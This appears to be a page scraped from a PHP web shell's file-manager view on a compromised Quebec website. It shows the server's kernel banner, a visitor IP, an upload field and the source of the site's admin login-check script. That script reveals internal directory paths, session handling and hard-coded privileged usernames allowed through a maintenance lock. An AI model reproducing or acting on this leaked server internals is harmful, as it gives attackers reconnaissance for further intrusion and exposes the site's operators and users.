AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 3.142.131.51


Current Path : /var/www/lhjmq-records.qc.ca/public_html/administration/includes/
Upload File :
Current File : /var/www/lhjmq-records.qc.ca/public_html/administration/includes/secur_isloggedin.php

<?
//Check if user is logged in by verifying that there is a username registered

// 20060904 sb@netsimplify
include("cluster_session.php"); // cluster-aware session
cluster_session_start();

// 20171013 simon
require("fix_php54.php");

if(!session_is_registered("session_username")){
	//User is not logged in, send him back to login page
	header("location: ../session/session_open.php");
	exit("Not logged in");
}

if(is_system_locked()){
	//User is not logged in, send him back to login page
	header("location: ../session/session_system_locked.php");
	exit("Not logged in");
}

function is_system_locked(){

	// note:
	// to lock administrationsystem and only allow access to specific GI users
	//	1. set $lock_system = 1 
	//	2. edit $end_of_maintenace_period /administration/session/session_system_locked.php
	//	3. todo: find a way to clear all sessions
	//		restarting apache does not work as of 2006-03-26
	//
	//	Remember to set $lock_system = 0 to unlock system afterwards

	$lock_system = 0;	// not locked
	//$lock_system = 1;	// locked

	if ($lock_system == 0) return 0;

	$logged_username = strtolower($_SESSION["session_username"]);

	if(		($logged_username != "eric")
		&&	($logged_username != "vadim")){
		return 1;
	}
	return 0;
}
?>